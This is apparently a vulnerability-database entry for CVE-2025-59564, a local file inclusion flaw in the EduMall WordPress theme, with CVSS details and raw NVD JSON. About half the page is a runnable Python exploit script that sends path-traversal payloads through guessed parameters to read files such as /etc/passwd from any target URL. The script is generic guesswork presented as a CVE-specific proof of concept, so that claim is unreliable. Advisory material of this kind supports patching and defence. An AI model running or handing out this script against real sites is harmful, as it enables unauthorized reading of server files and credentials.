Security Vulnerability Report
中文
CVE-2025-59564 CVSS 8.1 HIGH

CVE-2025-59564

Published: 2025-10-22 15:15:55
Last Modified: 2026-01-29 14:13:58

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in ThemeMove EduMall edumall allows PHP Local File Inclusion.This issue affects EduMall: from n/a through < 4.4.5.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:thememove:edumall:*:*:*:*:*:wordpress:*:* - VULNERABLE
EduMall < 4.4.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2025-59564 PoC - Local File Inclusion in EduMall Theme # Target: WordPress site with EduMall theme < 4.4.5 def exploit_lfi(target_url, file_path='/etc/passwd'): """ Exploit Local File Inclusion vulnerability in EduMall theme """ # Common vulnerable parameters in WordPress themes vulnerable_params = [ 'template', 'theme', 'page_template', 'file', 'view', 'load', 'include' ] # Try common LFI patterns paths_to_try = [ f'../../../../../../{file_path}', f'../../../../../../../../{file_path}', f'....//....//....//....//{file_path}', f'....//....//....//....//....//....//{file_path}' ] print(f'[*] Target: {target_url}') print(f'[*] Attempting to read: {file_path}') for param in vulnerable_params: for path in paths_to_try: try: payload = {param: path} response = requests.get(target_url, params=payload, timeout=10) if response.status_code == 200: # Check if file content is returned if file_path.split('/')[-1] in response.text or 'root:' in response.text: print(f'[+] Vulnerable! Parameter: {param}') print(f'[+] Payload: {path}') print(f'[+] File content preview:') print(response.text[:500]) return True except requests.RequestException as e: print(f'[-] Error: {e}') print('[-] No vulnerability found with common patterns') return False if __name__ == '__main__': import sys if len(sys.argv) < 2: print('Usage: python cve_2025_59564_poc.py <target_url> [file_path]') print('Example: python cve_2025_59564_poc.py http://target.com /etc/passwd') sys.exit(1) target = sys.argv[1] file_path = sys.argv[2] if len(sys.argv) > 2 else '/etc/passwd' exploit_lfi(target, file_path)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-59564", "sourceIdentifier": "[email protected]", "published": "2025-10-22T15:15:55.297", "lastModified": "2026-01-29T14:13:58.030", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in ThemeMove EduMall edumall allows PHP Local File Inclusion.This issue affects EduMall: from n/a through < 4.4.5."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:thememove:edumall:*:*:*:*:*:wordpress:*:*", "versionEndExcluding": "4.4.5", "matchCriteriaId": "8F5CFEA3-4D32-4C74-8377-E5A6C5011511"}]}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/edumall/vulnerability/wordpress-edumall-theme-4-4-5-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}